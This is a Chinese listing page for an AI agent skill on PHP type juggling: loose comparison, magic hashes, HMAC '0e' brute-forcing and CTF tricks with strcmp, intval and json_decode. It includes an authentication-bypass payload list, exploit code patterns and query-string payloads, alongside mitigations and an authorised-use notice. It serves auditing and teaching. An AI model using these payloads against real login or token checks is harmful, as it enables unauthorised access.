关于 type-juggling
面向授权测试人员和代码审计者的 PHP 安全 Skill,梳理宽松比较与类型转换风险。内容涵盖版本差异、魔术哈希及常见 CTF 输入模式,也提供防护比较建议。
主要功能
- 01PHP 宽松比较行为
- 02魔术哈希与 HMAC 情形
- 03PHP 版本差异
- 04NULL 与无效类型模式
- 05CTF 输入模式参考
适用场景
- 01审计登录和令牌比较
- 02评估哈希与 HMAC 检查
- 03复现 PHP 版本相关行为
- 04学习 PHP CTF 挑战
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill type-juggling安装后在 Claude Code 中输入/type-juggling确认已加载。
详细介绍
技能:PHP 类型转换——弱比较与 Magic Hash 绕过
AI 加载说明:PHP 的
==类型强制转换、Magic Hash(0e…)、HMAC/哈希宽松检查、错误类型导致的 NULL,以及 CTF 风格的strcmp/json_decode/intval技巧。采用严格路由:根据比较点(==还是hash_equals)、PHP 主版本,以及两个操作数是否都由攻击者控制来选择路径。路由提示:遇到 PHP 登录/签名逻辑或md5($_GET['x'])==md5($_GET['y'])之类的代码时,从这项技能入手;如果已经使用hash_equals/===,通常不适用此路径。
0. 快速开始
首轮目标:证明服务器分支会通过类型强制转换,将不相等的机密/令牌视为相等,而不是猜出真实密码。
首轮载荷(身份验证/令牌形式)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00
最小 PHP 探测(本地或实验环境中的 php -r)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));
路由提示
| 线索 | 下一步 |
|---|---|
源代码使用 == 比较密码、令牌或 HMAC 值 | 前往第 1-3 节 |
md5($a) == md5($b) 或宽松的 sha1 比较 | 第 2 节 Magic Hash |
hash_hmac(...) != '0' 或与 "0" 比较 | 第 3 节 |
strcmp、json_decode(..., true)、intval | 第 5 节 |
1. 宽松比较(==)——真值表与版本差异
除非对机密使用 === 或 hash_equals(),否则 PHP 会对操作数进行类型转换后再比较。
1.1 核心示例(字符串与数字)
| 表达式 | 结果 | 原理(简述) |
|---|---|---|
'0010e2' == '1e3' | true | 两个字符串看起来都是数值 → 按浮点数比较;都解析为 1000.0(并非零——常见考题陷阱;真正的“都为零”见下一行) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' | true | 两者都按科学计数法解析为 0.0 |
'123a' == 123 | true | 字符串转为整数时,在第一个非数字字符处停止 → 123 |
'abc' == 0 | true(PHP 7.x 及更早版本) | 非数值字符串与整数比较 → 字符串转换为 0 |
'' == 0 | true | 空字符串 → 0 |
'' == false | true | 根据宽松规则,两者都是“假值” |
false == NULL | true | 宽松相等 |
0 == false | true | 宽松相等 |
'' == 0 == false == NULL | true(链式比较) | 每一对相邻值在 == 下都为 true(''==0、0==false、false==NULL)——经典“假值”链 |
'0' == false | true | 字符串 '0' 是唯一一个与布尔值比较时为 false 的非空字符串 |
'php' == 0 | false(PHP 8+) | PHP 8 中,非数值字符串不再与 0 相等 |
1.2 PHP 5、7 与 8(重要差异)
| 主题 | PHP 5.x/7.x(通常情况) | PHP 8.0+ |
|---|---|---|
0 == "foo" | true(字符串 → 0) | false |
字符串转数字:"123a" | (int) 转换/许多 == 比较路径仍会截断 | 数值字符串处理方式相同;非数值字符串与整数比较已按上述方式修正 |
md5([])/sha1([]) | 在旧版模式下可能产生警告/类似 NULL 的行为 | 错误类型会触发 TypeError——除非错误处理将其归并为 NULL,否则经典 [] 技巧会失效 |
测试者须知:务必记录 PHP 版本,可从响应头、X-Powered-By 或指纹识别结果中确认;在 PHP 7 上有效的载荷在 PHP 8 上可能失效。
1.3 安全替代方案(防御/验证)
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;
2. MAGIC HASH(0e… 且后跟纯数字)
当两边都是看起来像十六进制哈希的字符串,并且匹配 ^0e[0-9]+$ 时,PHP 会将它们视为科学计数法表示的浮点数 → 值为 0.0。因此,即使摘要字符串不同,md5(A) == md5(B) 仍会得到 true。
2.1 参考表(MD5 / SHA-1 及更长的算法)
| 算法 | 示例输入 | 摘要(以 0e + 全部十进制数字开头) |
|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| SHA-1 | 10932435112 | 0e07766915004133176347055865026311692244 |
| SHA-224 | (暴力破解 / 预计算) | 示例形式:仅由 0e + 十进制数字组成 → 与另一个同样形式的字符串使用 == 比较时结果为 true |
| SHA-256 | (暴力破解 / 预计算) | 相同模式:只有匹配 ^0e\d+$ 的字符串使用 == 比较时才会碰撞 |
原理:md5('240610708') == md5('QNKCDZO') → 两侧都匹配 ^0e[0-9]+$ → 都被解释为 0.0 == 0.0 → true。
2.2 代码中的利用模式
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}
2.3 载荷构思(寻找匹配对)
?a=240610708&b=QNKCDZO
对于 SHA-224/256,将其视为搜索问题:对输入进行暴力破解,直到摘要匹配 ^0e\d+$;然后配对两个不同的输入。哈希越长,难度越高;上面的 MD5/SHA1 示例是常见的教学案例。
3. HMAC 绕过(宽松比较 “0” 或 0)
如果逻辑使用宽松比较,将结果与常量进行比较:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.
对 $data(例如时间戳、nonce、计数器)进行暴力破解,直到 hash_hmac 输出匹配 ^0e[0-9]+$(对于 MD5 输出),或符合代码中特定的宽松比较规则——这样,哈希在 == 比较下可能会等于 0,或另一个魔术摘要。
示例(数值消息的 MD5 风格 0e 摘要)
| 概念 | 示例 |
|---|---|
| 消息类型 | Unix 时间戳、自增 ID、毫秒时钟 |
| 时间戳暴力破解模式 | 教程有时会以 1539805986 → 0e772967136366835494939987377058 作为魔术哈希风格示例;在标准 PHP 中,md5('1539805986') 不会生成该摘要——应采用这个思路(扫描时间戳 / 计数器,直到输出匹配 ^0e[0-9]+$),并且始终根据目标代码中的确切函数和密钥进行验证。 |
| 目标 | 找到满足 hash_hmac('md5', $data, $key) 匹配 ^0e[0-9]+$ 的 $data |
| 备注 | 即使不知道 $key,只要算法 / 输出在 oracle 中可见,仍可能对 $data 进行暴力破解;CTF 往往会泄露或固定密钥 |
# Conceptual: try many timestamps
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
缓解措施:使用 hash_equals($mac, $expected),并采用固定长度的十六进制 / 二进制编码;绝不要将 HMAC 与裸 "0" 比较。
4. NULL 类型转换(数组与类型错误)
无效类型可能会在比较的一侧产生 NULL;与另一个 NULL 或经过强制类型转换的值进行宽松相等比较时,可能通过。
| 调用 | PHP 7/8 中的典型行为 |
|---|---|
md5([]) | PHP 8:TypeError;旧版本:警告 / 跨版本行为不可靠 |
sha1([]) | 同上 |
| 思路 | 如果错误处理器或自定义包装器将失败转换为 NULL,那么 NULL == NULL 会成立;如果另一侧也为 NULL,NULL == sha1("x") 也可能成立 |
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → true
实际审计:查找 @、将哈希设为 null 的自定义 try/catch,或传入要求为字符串的函数的用户输入。
5. CTF 模式
5.1 使用数组的 strcmp / strcasecmp
strcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)
载荷:
?p[]=1
5.2 intval 绕过
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2
5.3 json_decode + true 用于关联数组身份验证
{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules
5.4 is_numeric + 宽松比较
is_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)
5.5 反序列化 + 魔术属性
将用户输入反序列化为对象,其 __toString 或属性会传入 md5($obj) 或宽松比较——再将属性与魔术哈希字符串结合使用(CTF)。查找靠近哈希 == 的 unserialize($_…)。
6. 决策树
+------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+
工具参考
| 工具 | 用途 |
|---|---|
本地 php CLI | 复现目标主要版本的 == 行为 |
| 静态代码审查 | 搜索加密输出上的 ==、!=;查找缺失的 hash_equals |
| CTF 框架 | 生成魔术哈希和 0e 搜索的载荷 |
安全与适用范围:仅用于已获授权的目标(CTF、实验室、书面许可)。本技能介绍的是用于防御和评估的语言语义——并不授权在未经同意的情况下攻击系统。